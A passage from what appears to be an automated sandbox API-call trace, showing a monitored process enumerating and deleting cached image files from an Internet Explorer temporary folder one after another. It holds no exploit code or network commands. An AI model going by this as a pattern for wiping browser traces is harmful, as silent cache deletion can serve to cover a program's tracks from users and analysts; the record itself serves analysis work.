pszFile="BBDK03h[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK03h[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK03h[1].jpg" [0105.022] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK03h[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdk03h[1].jpg")) returned 1 [0105.127] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfba6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfba6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfba6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x662, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK305[1].jpg", cAlternateFileName="BBDK30~1.JPG")) returned 1 [0105.129] lstrlenW (lpString="BBDK305[1].jpg") returned 14 [0105.129] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDK305[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK305[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK305[1].jpg" [0105.131] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK305[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdk305[1].jpg")) returned 1 [0105.132] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd85f7740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd85f7740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd85f7740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDk44m[1].png", cAlternateFileName="BBDK44~1.PNG")) returned 1 [0105.132] lstrlenW (lpString="BBDk44m[1].png") returned 14 [0105.132] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDk44m[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDk44m[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDk44m[1].png" [0105.132] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDk44m[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdk44m[1].png")) returned 1 [0105.132] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe63a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbe63a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x27cc, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK6DE[1].jpg", cAlternateFileName="BBDK6D~1.JPG")) returned 1 [0105.132] lstrlenW (lpString="BBDK6DE[1].jpg") returned 14 [0105.132] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDK6DE[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK6DE[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK6DE[1].jpg" [0105.132] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDK6DE[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdk6de[1].jpg")) returned 1 [0105.133] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf482c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf482c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf482c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x25b3, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDKehx[1].jpg", cAlternateFileName="BBDKEH~1.JPG")) returned 1 [0105.133] lstrlenW (lpString="BBDKehx[1].jpg") returned 14 [0105.133] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDKehx[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKehx[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKehx[1].jpg" [0105.133] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKehx[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdkehx[1].jpg")) returned 1 [0105.133] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbb43da0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbb43da0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbb43da0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x137e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDKsWM[1].jpg", cAlternateFileName="BBDKSW~1.JPG")) returned 1 [0105.133] lstrlenW (lpString="BBDKsWM[1].jpg") returned 14 [0105.133] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDKsWM[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKsWM[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKsWM[1].jpg" [0105.133] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKsWM[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdkswm[1].jpg")) returned 1 [0105.134] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf482c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf482c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf482c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x20d9, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDKvdW[1].jpg", cAlternateFileName="BBDKVD~1.JPG")) returned 1 [0105.134] lstrlenW (lpString="BBDKvdW[1].jpg") returned 14 [0105.134] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDKvdW[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKvdW[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKvdW[1].jpg" [0105.134] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDKvdW[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdkvdw[1].jpg")) returned 1 [0105.134] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8469c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd8469c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd8469c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x28a5, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLCZd[1].jpg", cAlternateFileName="BBDLCZ~1.JPG")) returned 1 [0105.134] lstrlenW (lpString="BBDLCZd[1].jpg") returned 14 [0105.134] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLCZd[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLCZd[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLCZd[1].jpg" [0105.134] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLCZd[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlczd[1].jpg")) returned 1 [0105.134] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6d7, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLfeZ[1].jpg", cAlternateFileName="BBDLFE~1.JPG")) returned 1 [0105.134] lstrlenW (lpString="BBDLfeZ[1].jpg") returned 14 [0105.134] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLfeZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLfeZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLfeZ[1].jpg" [0105.134] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLfeZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlfez[1].jpg")) returned 1 [0105.136] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfba6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfba6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfba6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7a0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLl8d[1].jpg", cAlternateFileName="BBDLL8~1.JPG")) returned 1 [0105.136] lstrlenW (lpString="BBDLl8d[1].jpg") returned 14 [0105.136] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLl8d[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLl8d[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLl8d[1].jpg" [0105.136] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLl8d[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdll8d[1].jpg")) returned 1 [0105.136] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed311de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xed311de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xed311de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x188c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLLQz[1].jpg", cAlternateFileName="BBDLLQ~1.JPG")) returned 1 [0105.136] lstrlenW (lpString="BBDLLQz[1].jpg") returned 14 [0105.136] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLLQz[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLLQz[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLLQz[1].jpg" [0105.136] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLLQz[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdllqz[1].jpg")) returned 1 [0105.136] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7edcf60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1aae03a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aae03a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7bb, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLmdu[1].jpg", cAlternateFileName="BBDLMD~1.JPG")) returned 1 [0105.136] lstrlenW (lpString="BBDLmdu[1].jpg") returned 14 [0105.136] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLmdu[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmdu[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmdu[1].jpg" [0105.136] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmdu[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlmdu[1].jpg")) returned 1 [0105.137] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb84a220, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb84a220, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb84a220, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3b10, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLmEf[1].jpg", cAlternateFileName="BBDLME~1.JPG")) returned 1 [0105.137] lstrlenW (lpString="BBDLmEf[1].jpg") returned 14 [0105.137] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLmEf[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmEf[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmEf[1].jpg" [0105.137] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLmEf[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlmef[1].jpg")) returned 1 [0105.137] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9c6fe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9c6fe0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9c6fe0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLNHE[1].jpg", cAlternateFileName="BBDLNH~1.JPG")) returned 1 [0105.137] lstrlenW (lpString="BBDLNHE[1].jpg") returned 14 [0105.137] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLNHE[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLNHE[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLNHE[1].jpg" [0105.137] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLNHE[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlnhe[1].jpg")) returned 1 [0105.138] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18f0e280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18f0e280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18f0e280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2daf, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLPMU[1].jpg", cAlternateFileName="BBDLPM~1.JPG")) returned 1 [0105.668] lstrlenW (lpString="BBDLPMU[1].jpg") returned 14 [0105.668] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLPMU[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLPMU[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLPMU[1].jpg" [0105.668] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLPMU[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlpmu[1].jpg")) returned 1 [0105.668] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47c20da0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x47c20da0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x47c46f00, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3b53, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLq44[1].jpg", cAlternateFileName="BBDLQ4~1.JPG")) returned 1 [0105.668] lstrlenW (lpString="BBDLq44[1].jpg") returned 14 [0105.668] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLq44[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLq44[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLq44[1].jpg" [0105.668] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLq44[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlq44[1].jpg")) returned 1 [0108.533] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9ed140, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9ed140, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9ed140, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1fd0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLS6q[1].jpg", cAlternateFileName="BBDLS6~1.JPG")) returned 1 [0108.534] lstrlenW (lpString="BBDLS6q[1].jpg") returned 14 [0108.534] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLS6q[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLS6q[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLS6q[1].jpg" [0108.534] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLS6q[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdls6q[1].jpg")) returned 1 [0108.534] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb97ad20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb97ad20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb97ad20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7cb, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLv5i[1].jpg", cAlternateFileName="BBDLV5~1.JPG")) returned 1 [0108.534] lstrlenW (lpString="BBDLv5i[1].jpg") returned 14 [0108.534] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLv5i[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLv5i[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLv5i[1].jpg" 